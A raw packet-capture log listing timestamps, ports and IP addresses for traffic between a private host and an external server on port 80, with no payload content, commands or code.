Nov 1, 2024 03:45:27.223196030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223239899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223252058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223300934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223391056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223402023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223412991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223417044 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.223424911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223445892 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.223445892 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.223510981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223526955 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.223567963 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223627090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223635912 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.223639011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223650932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223753929 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.223764896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223776102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223788023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223848104 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.223864079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223875046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223886013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223947048 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.223974943 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223989010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.223999023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224026918 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224035978 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.224040031 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224097967 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.224097967 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.224148035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224165916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224176884 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224188089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224198103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224209070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224215031 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.224247932 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.224335909 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.224375010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224426985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224438906 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224478960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224505901 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.224546909 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.224586010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224596977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224608898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224620104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224673033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224682093 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.224682093 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.224786997 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224798918 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224809885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224821091 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224831104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224847078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.224865913 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.224865913 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.224915981 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.225048065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225060940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225071907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225081921 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225092888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225105047 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225111008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.225111008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.225116968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225179911 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.225179911 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.225294113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225306034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225317001 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225327969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225338936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225351095 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225363016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225368977 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.225368977 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.225397110 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.225545883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225558996 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225569963 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225579023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225589991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225603104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225626945 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.225677013 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.225827932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225841999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225851059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225862026 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225868940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225878954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225888968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225900888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225900888 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.225914001 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225914001 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.225927114 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225933075 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.225940943 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.225972891 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.226025105 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.226229906 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226242065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226258039 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226269960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226280928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226290941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226301908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226313114 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226325035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226336002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226339102 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.226339102 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.226346970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226392031 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.226392031 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.226527929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226540089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226551056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226562977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226574898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226634026 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.226634026 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.226655006 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226689100 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.226736069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226747990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226758003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226771116 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226783037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.226807117 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.226839066 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.227018118 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227030039 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227040052 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227047920 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.227051020 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227078915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227089882 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.227092028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227103949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227114916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227124929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227125883 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.227125883 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.227138042 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227150917 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227161884 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227169991 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.227210999 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.227210999 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.227438927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227463961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227571964 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227580070 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.227583885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.227746010 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.227746010 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.267170906 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.267183065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.267194986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.267244101 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.267257929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.267266989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.267270088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.267304897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.267335892 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.293617010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.293627024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.293653011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.293700933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.293710947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.293778896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.293816090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.293828011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.293838978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.293864965 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.293889999 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.293889999 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.293915033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.293926954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.293982029 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.294003010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294017076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294087887 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.294167042 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294250965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294261932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294279099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294308901 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.294370890 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294382095 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294392109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294414043 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.294414043 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.294440031 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294500113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294511080 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294518948 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.294624090 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.294626951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294641018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294651031 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294662952 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294706106 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.294744015 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.294775009 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294789076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294797897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294842958 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.294888973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294900894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294912100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294929981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.294949055 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.294949055 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.295003891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.295013905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.295118093 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.295348883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.295404911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.295417070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.295516014 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.295527935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.295543909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.295557022 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.295567989 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.295578957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.295600891 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.295604944 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.295671940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.295684099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.295694113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.295705080 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.295722008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.295864105 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.337491035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.337512016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.337626934 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.338476896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338499069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338510036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338557005 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338568926 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338589907 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.338613987 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338624001 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338633060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338655949 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.338684082 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.338684082 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.338701010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338712931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338736057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338757992 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.338767052 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338856936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338865995 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.338870049 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338881016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338895082 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338907957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338939905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.338983059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.338993073 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.338996887 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339020014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339040041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339066982 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.339122057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339133978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339174032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339185953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339210033 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.339237928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339250088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339258909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339258909 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.339294910 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.339380980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339392900 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339401960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339416027 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339421034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.339421034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.339427948 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339493036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339531898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339541912 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.339541912 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.339543104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339688063 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.339694977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339719057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339730024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339786053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339837074 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.339838982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339848995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339873075 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.339900970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339914083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339943886 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.339970112 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.339975119 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.339986086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340023994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340034962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340054989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.340073109 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.340096951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340111017 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340162039 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.340214968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340228081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340238094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340250015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340260983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340276003 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.340343952 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340364933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.340401888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340415001 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340425014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340512037 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.340524912 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340537071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340547085 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340558052 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.340584040 CET	49750	80	192.168.2.6	185.215.113.16
